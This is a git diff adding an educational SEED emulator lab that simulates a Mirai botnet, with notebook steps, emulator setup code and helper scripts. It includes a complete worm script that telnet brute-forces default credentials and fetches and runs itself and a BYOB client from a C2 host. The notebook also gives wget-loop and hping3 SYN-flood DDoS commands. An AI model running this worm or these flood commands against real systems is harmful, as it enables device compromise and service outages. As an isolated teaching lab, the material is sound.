+ ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Generating a 4000x3000 sample image file...\")\n", + "!convert -size 4000x3000 plasma:fractal misc/large_image.png\n", + "print(\"File 'misc/large_image.png' has been generated.\")\n", + "!ls -lh misc/large_image.png" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Once the file is ready, let's first access the victim website under normal conditions. Port 80 of the website has been mapped to port **445** on your local machine.\n", + "\n", + "Please click the link to open it in a new browser tab: [http://localhost:445](http://localhost:445)\n", + "\n", + "Under normal circumstances, the large image on the page should load smoothly. You can refresh it a few times to get a feel for its normal loading speed." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 4.2 Issuing the Attack Command\n", + "\n", + "Now, switch to the terminal window where you are running the **BYOB console**, type the following command, and press Enter. This command will be broadcast to all online bots.\n", + "\n", + "```bash\n", + "# Enter this command in the BYOB console:\n", + "broadcast timeout 10s sh -c 'while true; do wget --no-cache -q -O /dev/null [http://10.170.0.99/large_image.png](http://10.170.0.99/large_image.png); done'\n", + "```\n", + "\n", + "**Command Parameter Breakdown**: \n", + "- `broadcast`: A built-in BYOB command to send the subsequent instruction to all connected bots.\n", + "- `timeout 10s`: A safety feature that instructs the bots to automatically stop the task after 10 seconds, preventing the command from running indefinitely.\n", + "- `sh -c '...'`: Executes the following string as a shell command on the bot.\n", + "- `while true; do ...; done`: An infinite loop to make the download action continuous.\n", + "- `wget --no-cache -q -O /dev/null ...`: Uses `wget` to download the file. `--no-cache` attempts to bypass caches, `-q` enables quiet mode, and `-O /dev/null` discards the downloaded content without saving it to disk, thus only generating network traffic.\n", + "\n", + "**Other Attack Ideas**: \n", + "Besides an application-layer attack, you can also try a more classic SYN Flood attack. The `hping3` tool is pre-installed in the `mirai-base` image. You could try the following command (note that it may take longer to observe a significant effect with this attack):\n", + "`broadcast hping3 -S --flood -p 80 10.170.0.99`" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 4.3 Observing the Attack's Effect\n", + "\n", + "After issuing the attack command, you can observe its effects in the following ways:\n", + "\n", + "**Method 1: Refresh During the Attack**\n", + "Immediately after sending the command, switch to the victim website's browser page ([http://localhost:445](http://localhost:445)) and perform a **hard refresh** (usually `Ctrl+Shift+R` or `Cmd+Shift+R`). You will notice that the page loading speed slows down significantly, the image may fail to display completely, or the request may even time out. This indicates that the traffic generated by the bots has successfully consumed the server's bandwidth and processing capacity.\n", + "\n", + "**Method 2: Before and After Comparison**\n", + "First, issue the attack command, wait a few seconds, and then open the victim's website in a new browser tab. You may find that the page fails to load at all during the 10-second attack period. Once the `timeout` is reached and the attack stops, refreshing the page again will show that the service has returned to normal.\n", + "\n", + "**Observe on the Visualization Map**\n", + "At the same time, on the [network map](http://localhost:8080/map.html), set the filter to `dst 10.170.0.99`. You will see a large volume of packets flocking from various bot nodes to the victim host, forming a dense traffic storm." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Step 5: Demonstrating the DNS Kill Switch\n", + "\n", + "The Mirai's DNS kill-switch mechanism can only be observed while the worm is **actively propagating**. Therefore, to demonstrate this feature, we need to reset the simulation environment and trigger it mid-propagation.\n", + "\n", + "### 5.1 Reset the Environment\n", + "First, run the following cell to shut down and clean up the currently running environment." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Shutting down and cleaning up the current environment...\")\n", + "!cd output && docker compose down\n", + "print(\"Environment has been cleaned up.\")" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "### 5.2 Restart and Re-release the Worm\n", + "\n", + "The environment has been reset. Now, please **go back and re-execute the following steps** in this Notebook:\n", + "\n", + "1. **Step 2**: Restart the simulation environment (`docker compose up -d`).\n", + "2. **Step 3.1**: In a new terminal, restart the C2 server (`python3 server.py ...`).\n", + "3. **Step 3.2**: Re-release the worm (`docker exec ... mirai.py`).\n", + "\n", + "### 5.3 Trigger the Kill Switch Mid-Propagation\n", + "\n", + "After completing the restart steps above, closely monitor the number of sessions in the BYOB console. When the session count grows to an intermediate value (e.g., 30-50, indicating the worm is still actively spreading), immediately perform the following actions to trigger the kill switch.\n", + "\n", + "**Note: Manual action required**\n", + "Please **open another new local terminal window** and execute the command below to enter the shell of the `.com` top-level domain DNS server:\n", + "\n", + "```bash\n", + "# Run in a new local terminal:\n", + "./scripts/start_com-a_server.sh\n", + "```\n", + "\n", + "After entering the DNS server's shell, run the pre-configured script to register the `killswitch.com` domain:\n", + "\n", + "```bash\n", + "# Run in the .com DNS server's shell:\n", + "cd /tmp\n", + "./add_dns_record.sh killswitch.com\n", + "```\n", + "This script will automatically modify the BIND9 DNS server's configuration, add an A record for `killswitch.com`, and reload the service.\n", + "\n", + "### 5.4 Observing the Effect\n", + "\n", + "After the domain is registered, the `mirai.py` worm instances still propagating in the network will, upon their next DNS query (which occurs periodically, about every 10 seconds), discover that `killswitch.com` can be successfully resolved. At this point, they will trigger their built-in self-destruction logic and terminate their propagation behavior.\n", + "\n", + "The most direct way to observe this is by **watching the BYOB console**: you will notice that shortly after triggering the kill switch, the **number of sessions stops increasing**, even if there are still uninfected hosts in the network. This demonstrates that the kill switch has successfully halted the worm's further spread." + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Step 6: Cleaning Up the Environment\n", + "\n", + "At this point, all demonstrations are complete. To free up system resources, please run the command below to shut down and remove all related Docker containers and networks." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "print(\"Shutting down and cleaning up all simulation containers...\")\n", + "!cd output && docker compose down\n", + "print(\"Cleanup complete.\")" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "seed_310", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.10.16" + } + }, + "nbformat": 4, + "nbformat_minor": 4 +} \ No newline at end of file diff --git a/examples/yesterday_once_more/Y03_mirai/mirai.py b/examples/yesterday_once_more/Y03_mirai/mirai.py new file mode 100644 index 000000000..e3eb37018 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/mirai.py @@ -0,0 +1,278 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +import asyncio +import logging +import random +import socket +import sys +import telnetlib3 +import os + +# GLOBAL CONFIGURATION +# Mirai C2 Server configuration +C2_IP_MIRAI = "10.170.0.100" +C2_URL_MIRAI = f"http://{C2_IP_MIRAI}/mirai.py" + +# BYOB (Build Your Own Botnet) payload configuration +BYOB_SERVER_IP = C2_IP_MIRAI +BYOB_PAYLOAD_FILENAME = "client.py" +BYOB_PAYLOAD_URL = f"http://{BYOB_SERVER_IP}:446/clients/droppers/{BYOB_PAYLOAD_FILENAME}" +BYOB_PAYLOAD_PATH_TMP = f"/tmp/{BYOB_PAYLOAD_FILENAME}_downloaded" + +# Kill switch domain +KILL_SWITCH_DOMAIN = "killswitch.com" + +# Default credentials for Telnet brute-forcing +MIRAI_CREDS = [ + ("root", "vizxv"), ("root", "xc3511"), ("root", "admin"), + ("admin", "admin"), ("root", "888888") +] +# Network ranges to scan for vulnerable hosts +NET_PREFIXES = ["10.150.0.", "10.151.0.", "10.152.0.", "10.153.0.", "10.154.0.", "10.160.0.", + "10.161.0.", "10.162.0.", "10.163.0.", "10.164.0.", "10.170.0.", "10.171.0."] +HOST_IDS = range(71, 79) + +# Worm behavior parameters +ROUND_INTERVAL = 10 # Seconds between infection rounds +TARGETS_PER_ROUND = 1 +MAX_CONCURRENCY = 10 +MAX_INFECT_PER_HOST_MIRAI = 2 # Max number of new hosts to infect before stopping +PROMPTS = (b"$", b"#", b">") + +# Conditions to activate the secondary (BYOB) payload +MAX_SUCCESSFUL_MIRAI_INFECTIONS_FOR_BYOB = MAX_INFECT_PER_HOST_MIRAI +MAX_CONSECUTIVE_MIRAI_FAILURES_FOR_BYOB = 15 +BYOB_ACTIVATED_FLAG_FILE = "/tmp/.byob_activated_flag" # Flag file to indicate activation + +# Colored output configuration +CLR = dict(R="\033[31m", G="\033[32m", Y="\033[33m", C="\033[36m", RST="\033[0m") +c = lambda txt, col: CLR[col] + str(txt) + CLR["RST"] + +# Logging setup +logging.basicConfig( + level=logging.INFO, # Can be set to logging.DEBUG for more verbose output + format="%(asctime)s %(levelname)s: %(message)s", + handlers=[logging.StreamHandler(sys.stdout)] +) + +# UTILITY FUNCTIONS +async def wait_prompt(reader, timeout=5.0): + # Waits for a shell prompt from the Telnet reader. + buf = b"" + while True: + chunk = await asyncio.wait_for(reader.read(1024), timeout) + if not chunk: + raise EOFError("remote closed") + buf += chunk + if any(p in buf for p in PROMPTS): + return buf + +def get_self_ip() -> str: + # Gets the IP address of the current host. + return socket.gethostbyname(socket.gethostname()) + +def random_targets(n, infected_hosts): + # Selects n random targets, excluding self and already infected hosts. + self_ip = get_self_ip() + pool = [ + f"{p}{i}" for p in NET_PREFIXES for i in HOST_IDS + if f"{p}{i}" not in infected_hosts and f"{p}{i}" != self_ip + ] + n = min(n, len(pool)) + return random.sample(pool, n) if n else [] + +def progress_bar(done, total, width=30): + # Displays a simple progress bar. + filled = int(done / total * width) if total else width + return "[" + "#" * filled + "-" * (width - filled) + f"] {done}/{total}" + +async def check_kill_switch(): + # Checks if the kill switch domain can be resolved. + # use dig +short url + check_cmd = f"dig +short {KILL_SWITCH_DOMAIN}" + process = await asyncio.create_subprocess_shell( + check_cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout, stderr = await process.communicate() + + if process.returncode == 0 and stdout.strip(): + resolved_ip = stdout.decode().strip() + logging.warning(c(f"!!! Kill Switch domain '{KILL_SWITCH_DOMAIN}' resolved successfully to {resolved_ip}. Worm will terminate. !!!", "R")) + return True + else: + return False + +# BYOB PAYLOAD ACTIVATION +async def activate_byob_payload_on_host(): + # Downloads and executes the secondary BYOB payload on the current host. + if os.path.exists(BYOB_ACTIVATED_FLAG_FILE): + logging.info(c(f"BYOB payload has already been activated on this host ({BYOB_ACTIVATED_FLAG_FILE} exists).", "Y")) + return True + + logging.info(c(f"Attempting to download and execute BYOB payload from {BYOB_PAYLOAD_URL}", "C")) + activated_successfully = False + try: + download_cmd = f"wget -q {BYOB_PAYLOAD_URL} -O {BYOB_PAYLOAD_PATH_TMP} || curl -s -f {BYOB_PAYLOAD_URL} -o {BYOB_PAYLOAD_PATH_TMP}" + process_dl = await asyncio.create_subprocess_shell( + download_cmd, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE + ) + stdout_dl, stderr_dl = await process_dl.communicate() + + if process_dl.returncode == 0 and os.path.exists(BYOB_PAYLOAD_PATH_TMP): + logging.info(c(f"BYOB payload downloaded successfully to {BYOB_PAYLOAD_PATH_TMP}", "G")) + + chmod_cmd = f"chmod +x {BYOB_PAYLOAD_PATH_TMP}" + process_chmod = await asyncio.create_subprocess_shell(chmod_cmd) + await process_chmod.communicate() + if process_chmod.returncode != 0: + logging.error(c(f"Failed to chmod {BYOB_PAYLOAD_PATH_TMP}, return code: {process_chmod.returncode}", "R")) + return False + + run_cmd = f"nohup python3 {BYOB_PAYLOAD_PATH_TMP} > /dev/null 2>&1 &" + await asyncio.create_subprocess_shell(run_cmd) + logging.info(c(f"BYOB payload started in the background: {run_cmd}", "G")) + with open(BYOB_ACTIVATED_FLAG_FILE, "w") as f: + f.write(f"activated at {socket.gethostname()} on {os.uname()}") + activated_successfully = True + else: + logging.error(c(f"Failed to download BYOB payload. Return code: {process_dl.returncode}", "R")) + if stdout_dl: logging.error(f"Download STDOUT: {stdout_dl.decode(errors='ignore')}") + if stderr_dl: logging.error(f"Download STDERR: {stderr_dl.decode(errors='ignore')}") + + except Exception as e: + logging.error(c(f"An error occurred while activating BYOB payload: {type(e).__name__} - {e}", "R")) + + return activated_successfully + +# TELNET WORM INFECTION +async def infect_mirai_on_target(ip): + """Attempts to infect a target IP via Telnet using a list of credentials.""" + for user, pwd in MIRAI_CREDS: + reader, writer = None, None + try: + logging.debug(f"Telnet: Attempting to connect to {ip} with user: {user}") + reader, writer = await telnetlib3.open_connection( + host=ip, port=23, shell=None, + encoding=False, force_binary=True, + connect_minwait=0.1, connect_maxwait=1.0) + + await reader.readuntil(b"login:") + writer.write(user.encode() + b"\r\n") + await reader.readuntil(b"Password:") + writer.write(pwd.encode() + b"\r\n") + await wait_prompt(reader) + logging.debug(f"Telnet: Login successful on {ip} with user: {user}") + + # Send payload to propagate the worm + cmds = [ + f"wget -q {C2_URL_MIRAI} -O /tmp/mirai.py || curl -s -f {C2_URL_MIRAI} -o /tmp/mirai.py", + "chmod +x /tmp/mirai.py", + "nohup python3 /tmp/mirai.py >/dev/null 2>&1 &", + "exit", + ] + for cmd_idx, cmd_str in enumerate(cmds): + logging.debug(f"Telnet: Executing command {cmd_idx+1}/{len(cmds)} on {ip}: {cmd_str}") + writer.write(cmd_str.encode() + b"\r\n") + if cmd_str.lower() != "exit": + await wait_prompt(reader) + else: + await asyncio.sleep(0.5) + + logging.info(c(f"[+] Mirai successfully infected target {ip} ({user}/{pwd})", "G")) + if writer and not writer.is_closing(): + writer.close() + return True + + except (asyncio.TimeoutError, EOFError, ConnectionRefusedError, BrokenPipeError) as e: + logging.warning(c(f"Telnet: Connection failed to {ip} ({user}): {type(e).__name__}", "Y")) + except Exception as e_infect: + logging.error(c(f"Telnet: An unexpected error occurred while infecting {ip} ({user}/{pwd}): {type(e_infect).__name__} - {e_infect}", "R")) + finally: + if writer and not writer.is_closing(): + writer.close() + + logging.info(c(f"[-] Mirai failed all credential attempts on target {ip}", "R")) + return False + +async def main(): + sem = asyncio.Semaphore(MAX_CONCURRENCY) + mirai_infected_targets = set() + total_mirai_successes = 0 + consecutive_mirai_failures = 0 + mirai_propagation_active = True + + if os.path.exists(BYOB_ACTIVATED_FLAG_FILE): + logging.info(c(f"BYOB has already been activated on this host. Mirai instance will exit.", "Y")) + await activate_byob_payload_on_host() # Re-attempt activation just in case + return + + round_num = 0 + while mirai_propagation_active: + if await check_kill_switch(): + break + + # Check conditions for activating the secondary BYOB payload + if total_mirai_successes >= MAX_SUCCESSFUL_MIRAI_INFECTIONS_FOR_BYOB or \ + consecutive_mirai_failures >= MAX_CONSECUTIVE_MIRAI_FAILURES_FOR_BYOB: + logging.info(c(f"Condition to activate BYOB met: " + f"Successes {total_mirai_successes}/{MAX_SUCCESSFUL_MIRAI_INFECTIONS_FOR_BYOB} or " + f"Failures {consecutive_mirai_failures}/{MAX_CONSECUTIVE_MIRAI_FAILURES_FOR_BYOB}", "Y")) + mirai_propagation_active = False + await activate_byob_payload_on_host() + break + + # Check if this instance has reached its infection quota + if len(mirai_infected_targets) >= MAX_INFECT_PER_HOST_MIRAI: + logging.info(c(f"This instance has reached its infection quota " + f"({len(mirai_infected_targets)}/{MAX_INFECT_PER_HOST_MIRAI}). " + f"Stopping Mirai scan and activating BYOB.", "Y")) + mirai_propagation_active = False + await activate_byob_payload_on_host() + break + + remaining_quota = MAX_INFECT_PER_HOST_MIRAI - len(mirai_infected_targets) + targets_for_this_round = random_targets(min(TARGETS_PER_ROUND, remaining_quota), mirai_infected_targets) + + if not targets_for_this_round: + logging.info(c("No new Mirai targets available, waiting for next round...", "Y")) + consecutive_mirai_failures += 1 + await asyncio.sleep(ROUND_INTERVAL) + continue + + round_num += 1 + logging.info(c(f"\n=== Mirai Round {round_num} | Targets: {targets_for_this_round} ===", "C")) + + tasks_done_this_round = 0 + + async def sem_infect_task(target_ip): + nonlocal tasks_done_this_round, total_mirai_successes, consecutive_mirai_failures + async with sem: + success = await infect_mirai_on_target(target_ip) + if success: + mirai_infected_targets.add(target_ip) + total_mirai_successes += 1 + consecutive_mirai_failures = 0 + else: + consecutive_mirai_failures += 1 + tasks_done_this_round += 1 + print(progress_bar(tasks_done_this_round, len(targets_for_this_round)), end="\r") + + await asyncio.gather(*(sem_infect_task(t) for t in targets_for_this_round)) + print() + logging.info(f"Mirai Round {round_num} finished. Total successes by this instance: {total_mirai_successes}, " + f"Consecutive failures: {consecutive_mirai_failures}") + await asyncio.sleep(ROUND_INTERVAL) + + logging.info(c("Mirai propagation loop has ended.", "Y")) + if not os.path.exists(BYOB_ACTIVATED_FLAG_FILE): + logging.info(c("Attempting to activate BYOB payload...", "Y")) + await activate_byob_payload_on_host() + + logging.info(c("Mirai worm script main task finished. The BYOB payload (if successful) should now be in control.", "C")) + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/yesterday_once_more/Y03_mirai/mirai_internet_with_dns.py b/examples/yesterday_once_more/Y03_mirai/mirai_internet_with_dns.py new file mode 100644 index 000000000..df02b4ea0 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/mirai_internet_with_dns.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +# encoding: utf-8 + +from seedemu.core import Emulator, Binding, Filter, Action +from seedemu.mergers import DEFAULT_MERGERS +from seedemu.compiler import Docker, Platform, DockerImage +from seedemu.services import DomainNameCachingService +from seedemu.services.DomainNameCachingService import DomainNameCachingServer +from seedemu.layers import Base +from examples.yesterday_once_more.Y03_mirai import mini_internet_for_mirai +from examples.yesterday_once_more.Y03_mirai import dns_component +import os, sys + +def run(dumpfile=None): + ############################################################################### + # Set the platform information + if dumpfile is None: + script_name = os.path.basename(__file__) + + if len(sys.argv) == 1: + platform = Platform.AMD64 + elif len(sys.argv) == 2: + if sys.argv[1].lower() == 'amd': + platform = Platform.AMD64 + elif sys.argv[1].lower() == 'arm': + platform = Platform.ARM64 + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + else: + print(f"Usage: {script_name} amd|arm") + sys.exit(1) + + emuA = Emulator() + emuB = Emulator() + + # Run the pre-built components + mini_internet_for_mirai.run(dumpfile='./base_internet.bin') + dns_component.run(dumpfile='./dns_component.bin') + + # Load and merge the pre-built components + emuA.load('./base_internet.bin') + emuB.load('./dns_component.bin') + emu = emuA.merge(emuB, DEFAULT_MERGERS) + + + ##################################################################################### + # Bind the virtual nodes in the DNS infrastructure layer to physical nodes. + # the ip address of + # root-a: 10.150.0.53 + # com-a: 10.151.0.53 + # local-dns-1: 10.152.0.53 + # local-dns-2: 10.153.0.53 + + base: Base = emu.getLayer('Base') + as150 = base.getAutonomousSystem(150) + as150.createHost('root-a').joinNetwork('net0', address = '10.150.0.53') + as151 = base.getAutonomousSystem(151) + COMA = as151.createHost('com-a').joinNetwork('net0', address = '10.151.0.53') + emu.addBinding(Binding('a-root-server', filter=Filter(asn=150, nodeName='root-a'))) + emu.addBinding(Binding('a-com-server', filter=Filter(asn=151, nodeName='com-a'))) + + current_dir = os.getcwd() + COMA.importFile(hostpath=f"{current_dir}/scripts/add_dns_record.sh", containerpath="/tmp/add_dns_record.sh") + COMA.appendStartCommand("cd /tmp && chmod +x ./add_dns_record.sh") + + ##################################################################################### + # Create two local DNS servers (virtual nodes). + ldns = DomainNameCachingService() + global_dns_1:DomainNameCachingServer = ldns.install('global-dns-1') + global_dns_2:DomainNameCachingServer = ldns.install('global-dns-2') + + # Customize the display name (for visualization purpose) + emu.getVirtualNode('global-dns-1').setDisplayName('Global DNS-1') + emu.getVirtualNode('global-dns-2').setDisplayName('Global DNS-2') + + as152 = base.getAutonomousSystem(152) + as152.createHost('local-dns-1').joinNetwork('net0', address = '10.152.0.53') + as153 = base.getAutonomousSystem(153) + as153.createHost('local-dns-2').joinNetwork('net0', address = '10.153.0.53') + + # Bind the Local DNS virtual nodes to physical nodes + emu.addBinding(Binding('global-dns-1', filter = Filter(asn=152, nodeName="local-dns-1"))) + emu.addBinding(Binding('global-dns-2', filter = Filter(asn=153, nodeName="local-dns-2"))) + + # Add 10.152.0.53 as the local DNS server for AS-160 and AS-170 + # Add 10.153.0.53 as the local DNS server for all the other nodes + global_dns_1.setNameServerOnNodesByAsns(asns=[160, 170]) + global_dns_2.setNameServerOnAllNodes() + + # Add the ldns layer + emu.addLayer(ldns) + + if dumpfile is not None: + # Save it to a file, so it can be used by other emulators + emu.dump(dumpfile) + else: + # Rendering compilation + emu.render() + # change docker base to mirai-base + docker = Docker(internetMapEnabled=True) + docker.addImage(DockerImage('mirai-base', [], local = True)) + for stub_as in [150, 151, 152, 153, 154, 160, 161, 162, 163, 164, 170, 171]: + hosts = base.getAutonomousSystem(stub_as).getHosts() + for hostname in hosts: + host = base.getAutonomousSystem(stub_as).getHost(hostname) + docker.setImageOverride(host, 'mirai-base') + + emu.compile(docker, './output', override=True) + os.system('cp -r container_files/mirai-base ./output') + +if __name__ == "__main__": + run() + diff --git a/examples/yesterday_once_more/Y03_mirai/misc/index.html b/examples/yesterday_once_more/Y03_mirai/misc/index.html new file mode 100644 index 000000000..982dbd3ff --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/misc/index.html @@ -0,0 +1,14 @@ + + + + Victim Server Under Load + + + + + +

This server is serving a large image.

+

Try reloading this page during the DDoS attack simulation.

+Large Image + + \ No newline at end of file diff --git a/examples/yesterday_once_more/Y03_mirai/scripts/add_dns_record.sh b/examples/yesterday_once_more/Y03_mirai/scripts/add_dns_record.sh new file mode 100644 index 000000000..13edde5ff --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/scripts/add_dns_record.sh @@ -0,0 +1,84 @@ +#!/bin/sh + +# This script automates the process of adding a new master zone to a BIND9 server. +# Usage: ./add_dns_record.sh [ip_address] +# Examples: +# ./add_dns_record.sh killswitch.com +# ./add_dns_record.sh my-site.com 10.20.30.40 + +# Configuration +BIND_CONFIG_DIR="/etc/bind" +NAMED_CONF_LOCAL="${BIND_CONFIG_DIR}/named.conf.local" + +# Parameter Handling +DOMAIN=$1 +IP_ADDRESS=${2:-"1.1.1.1"} # default to "1.1.1.1" + +if [ -z "$DOMAIN" ]; then + echo "Error: You must provide a domain name as the first argument." + echo "Usage: $0 [ip_address]" + exit 1 +fi + +ZONE_FILE="${BIND_CONFIG_DIR}/db.${DOMAIN}" + +echo "--- Starting to add DNS record for domain '${DOMAIN}' ---" +echo " - IP Address will be: ${IP_ADDRESS}" +echo " - BIND config file: ${NAMED_CONF_LOCAL}" +echo " - Zone data file: ${ZONE_FILE}" +echo "" + +# Check if the zone already exists +if grep -q "zone \"${DOMAIN}\"" "$NAMED_CONF_LOCAL"; then + echo "Warning: A zone definition for domain '${DOMAIN}' already exists in ${NAMED_CONF_LOCAL}." + echo "Operation cancelled." + exit 1 +fi + +echo "1. Appending zone definition to ${NAMED_CONF_LOCAL}..." +cat <> "$NAMED_CONF_LOCAL" + +// Automatically added by add_dns_record.sh on $(date) +zone "${DOMAIN}" { + type master; + file "${ZONE_FILE}"; +}; +EOF +echo " ...Done." +echo "" + +echo "2. Creating new zone data file ${ZONE_FILE}..." +cat < "$ZONE_FILE" +\$TTL 60 +@ IN SOA ns1.${DOMAIN}. admin.${DOMAIN}. ( + 1 ; Serial + 604800 ; Refresh + 86400 ; Retry + 2419200 ; Expire + 60 ) ; Negative Cache TTL +; +@ IN NS ns1.${DOMAIN}. +@ IN A ${IP_ADDRESS} +ns1 IN A ${IP_ADDRESS} +EOF +echo " ...Done." +echo "" + +echo "3. Checking BIND configuration syntax..." +named-checkconf +if [ $? -ne 0 ]; then + echo "Error: BIND configuration check failed! Please check ${NAMED_CONF_LOCAL} manually." + exit 1 +fi +echo " ...Syntax OK." +echo "" + +echo "4. Reloading BIND9 service to apply changes..." +rndc reload +echo " ...Service reloaded." +echo "" + +echo "--- Success! ---" +echo "Domain '${DOMAIN}' has been successfully pointed to IP Address '${IP_ADDRESS}'." +echo "You can now try to verify the change with the following command:" +echo "dig ${DOMAIN} @localhost" \ No newline at end of file diff --git a/examples/yesterday_once_more/Y03_mirai/scripts/start_c2_server.sh b/examples/yesterday_once_more/Y03_mirai/scripts/start_c2_server.sh new file mode 100755 index 000000000..be62fb250 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/scripts/start_c2_server.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# Finds and opens a shell into the C2_Server container + +CONTAINER_ID=$(docker ps -f "name=C2_server" -q | head -n 1) + +if [ -z "$CONTAINER_ID" ]; then + echo "Error: C2_Server container not found. Is the simulation running?" + exit 1 +fi + +echo "Found C2_Server container: ${CONTAINER_ID}" +echo "Opening shell..." +docker exec -it ${CONTAINER_ID} /bin/bash \ No newline at end of file diff --git a/examples/yesterday_once_more/Y03_mirai/scripts/start_com-a_server.sh b/examples/yesterday_once_more/Y03_mirai/scripts/start_com-a_server.sh new file mode 100755 index 000000000..040654761 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/scripts/start_com-a_server.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# Finds and opens a shell into the COM-A DNS server container + +# The container is bound to dns-host.as152 +CONTAINER_ID=$(docker ps -f "name=COM-A" -q | head -n 1) + +if [ -z "$CONTAINER_ID" ]; then + echo "Error: COM-A Server container not found. Is the simulation running?" + exit 1 +fi + +echo "Found COM-A Server container: ${CONTAINER_ID}" +echo "Opening shell..." +docker exec -it ${CONTAINER_ID} /bin/bash \ No newline at end of file diff --git a/examples/yesterday_once_more/Y03_mirai/scripts/start_victim_host.sh b/examples/yesterday_once_more/Y03_mirai/scripts/start_victim_host.sh new file mode 100755 index 000000000..2e11e9554 --- /dev/null +++ b/examples/yesterday_once_more/Y03_mirai/scripts/start_victim_host.sh @@ -0,0 +1,13 @@ +#!/bin/bash +# Finds and opens a shell into the victim_host container + +CONTAINER_ID=$(docker ps -f "name=host_victim" -q | head -n 1) + +if [ -z "$CONTAINER_ID" ]; then + echo "Error: victim_host container not found. Is the simulation running?" + exit 1 +fi + +echo "Found victim_host container: ${CONTAINER_ID}" +echo "Opening shell..." +docker exec -it ${CONTAINER_ID} /bin/bash \ No newline at end of file diff --git a/seedemu/compiler/Docker.py b/seedemu/compiler/Docker.py index 2b06eb8b6..a9bc5c4f5 100644 --- a/seedemu/compiler/Docker.py +++ b/seedemu/compiler/Docker.py @@ -1,1376 +1,1418 @@ -from __future__ import annotations -from seedemu.core.Emulator import Emulator -from seedemu.core import Node, Network, Compiler, BaseSystem, BaseOption, Scope, ScopeType, ScopeTier, OptionHandling, BaseVolume, OptionMode -from seedemu.core.enums import NodeRole, NetworkType -from .DockerImage import DockerImage -from .DockerImageConstant import * -from typing import Dict, Generator, List, Set, Tuple -from hashlib import md5 -from functools import cmp_to_key -from os import mkdir, chdir -from re import sub -from ipaddress import IPv4Network, IPv4Address -from shutil import copyfile -import json -from yaml import dump - -SEEDEMU_INTERNET_MAP_IMAGE='handsonsecurity/seedemu-multiarch-map:buildx-latest' -SEEDEMU_ETHER_VIEW_IMAGE='handsonsecurity/seedemu-multiarch-etherview:buildx-latest' - -DockerCompilerFileTemplates: Dict[str, str] = {} - -DockerCompilerFileTemplates['dockerfile'] = """\ -ARG DEBIAN_FRONTEND=noninteractive -""" -#RUN echo 'exec zsh' > /root/.bashrc - -DockerCompilerFileTemplates['start_script'] = """\ -#!/bin/bash -{startCommands} -echo "ready! run 'docker exec -it $HOSTNAME /bin/zsh' to attach to this node" >&2 -{buildtime_sysctl} -tail -f /dev/null -""" - -DockerCompilerFileTemplates['seedemu_sniffer'] = """\ -#!/bin/bash -last_pid=0 -while read -sr expr; do { - [ "$last_pid" != 0 ] && kill $last_pid 2> /dev/null - [ -z "$expr" ] && continue - tcpdump -e -i any -nn -p -q "$expr" & - last_pid=$! -}; done -[ "$last_pid" != 0 ] && kill $last_pid -""" - -DockerCompilerFileTemplates['seedemu_worker'] = """\ -#!/bin/bash - -net() { - [ "$1" = "status" ] && { - ip -j link | jq -cr '.[] .operstate' | grep -q UP && echo "up" || echo "down" - return - } - - ip -j li | jq -cr '.[] .ifname' | while read -r ifname; do ip link set "$ifname" "$1"; done -} - -bgp() { - cmd="$1" - peer="$2" - [ "$cmd" = "bird_peer_down" ] && birdc dis "$2" - [ "$cmd" = "bird_peer_up" ] && birdc en "$2" -} - -while read -sr line; do { - id="`cut -d ';' -f1 <<< "$line"`" - cmd="`cut -d ';' -f2 <<< "$line"`" - - output="no such command." - - [ "$cmd" = "net_down" ] && output="`net down 2>&1`" - [ "$cmd" = "net_up" ] && output="`net up 2>&1`" - [ "$cmd" = "net_status" ] && output="`net status 2>&1`" - [ "$cmd" = "bird_list_peer" ] && output="`birdc s p | grep --color=never BGP 2>&1`" - - [[ "$cmd" == "bird_peer_"* ]] && output="`bgp $cmd 2>&1`" - - printf '_BEGIN_RESULT_' - jq -Mcr --arg id "$id" --arg return_value "$?" --arg output "$output" -n '{id: $id | tonumber, return_value: $return_value | tonumber, output: $output }' - printf '_END_RESULT_' -}; done -""" - -DockerCompilerFileTemplates['replace_address_script'] = '''\ -#!/bin/bash -ip -j addr | jq -cr '.[]' | while read -r iface; do { - ifname="`jq -cr '.ifname' <<< "$iface"`" - jq -cr '.addr_info[]' <<< "$iface" | while read -r iaddr; do { - addr="`jq -cr '"\(.local)/\(.prefixlen)"' <<< "$iaddr"`" - line="`grep "$addr" < /dummy_addr_map.txt`" - [ -z "$line" ] && continue - new_addr="`cut -d, -f2 <<< "$line"`" - ip addr del "$addr" dev "$ifname" - ip addr add "$new_addr" dev "$ifname" - }; done -}; done -''' - -DockerCompilerFileTemplates['compose'] = """\ -version: "3.4" -services: -{dummies} -{services} -networks: -{networks} -{volumes} -""" - -DockerCompilerFileTemplates['compose_dummy'] = """\ - {imageDigest}: - build: - context: . - dockerfile: dummies/{imageDigest} - image: {imageDigest} -{dependsOn} -""" - 